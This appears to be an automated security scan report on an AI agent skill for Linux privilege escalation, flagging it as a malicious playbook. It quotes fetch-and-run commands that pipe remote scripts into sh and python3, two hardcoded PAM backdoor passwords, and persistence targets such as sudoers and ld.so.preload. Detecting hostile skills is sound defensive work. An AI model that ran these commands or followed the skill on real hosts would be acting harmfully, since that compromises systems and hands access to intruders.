privesc-linux

HIGH W007: Insecure credential handling detected in skill instructions.

• Insecure credential handling detected (high risk: 1.00). The skill embeds hardcoded secrets (magic/backdoor passwords, skeleton keys, example private/public keys and plaintext passwords) directly into commands and files, so an agent following it would output those secret values verbatim.

---

CRITICAL E005: Suspicious download URL detected in skill instructions.

• Suspicious download URL detected (high risk: 1.00). Many of the listed URLs point to exploit PoCs, rootkits, backdoors, raw scripts or direct binary downloads from GitHub/raw hosts and a third‑party exploit site (copy.fail) — all high-risk sources that can be used to distribute malware or directly execute privileged exploits.

---

CRITICAL E006: Malicious code pattern detected in skill scripts.

• Malicious code pattern detected (high risk: 1.00). The file is an explicit, step-by-step malicious playbook for unauthorized Linux privilege escalation and persistence (credential theft, rootkits, backdoors, reverse shells, and remote code execution).

---

MEDIUM W012: Unverifiable external dependency detected (runtime URL that controls agent).

• Potentially malicious external URL detected (high risk: 1.00). The skill contains multiple commands that fetch and immediately execute remote code at runtime (e.g. curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh and curl https://copy.fail/exp | python3), meaning those URLs directly supply and run code the skill relies on.

---

HIGH W008: Secret detected in skill content (API keys, tokens, passwords).

• Secret detected (high risk: 1.00). I scanned the skill for literal credentials that look like real, usable secrets (high-entropy strings that grant access). I flagged only values that are actual hardcoded backdoor passwords used to bypass authentication.

Flagged:

• MAGIC="S3cr3tBackd00r!" (pam_exec magic-password backdoor) — a non-trivial literal password that would grant auth when used.
• SKELETONKEY="K3yM4st3r!" (PAM skeleton-key backdoor) — another non-trivial hardcoded password embedded in the code/patch.

Ignored (reason):

• Simple/example passwords such as P@ssw0rd or pass — low entropy / documentation examples, so per rules not flagged.
• IPs/ports (RHOST=10.10.10.10; RPORT=4444) — not secrets.
• Placeholders like "AAAA...PUBKEY..." or "ssh-ed25519 AAAA...your-pubkey..." — clearly placeholders.
• Strings like "diamorphine_secret" (default magic prefix) — low-entropy, descriptive default, not a high-entropy credential granting access.

These decisions follow the provided secret definition and false-positive rules (only high-entropy, real credentials are included).

---

MEDIUM W013: Attempt to modify system services in skill instructions.

• Attempt to modify system services in skill instructions detected (high risk: 1.00). The skill explicitly instructs the agent to perform privilege-escalation and persistence actions that modify system state (create/modify /etc/passwd, sudoers, systemd/unit files, PAM, /etc/ld.so.preload, install SUID binaries, add authorized_keys, etc.), which directly compromise the host.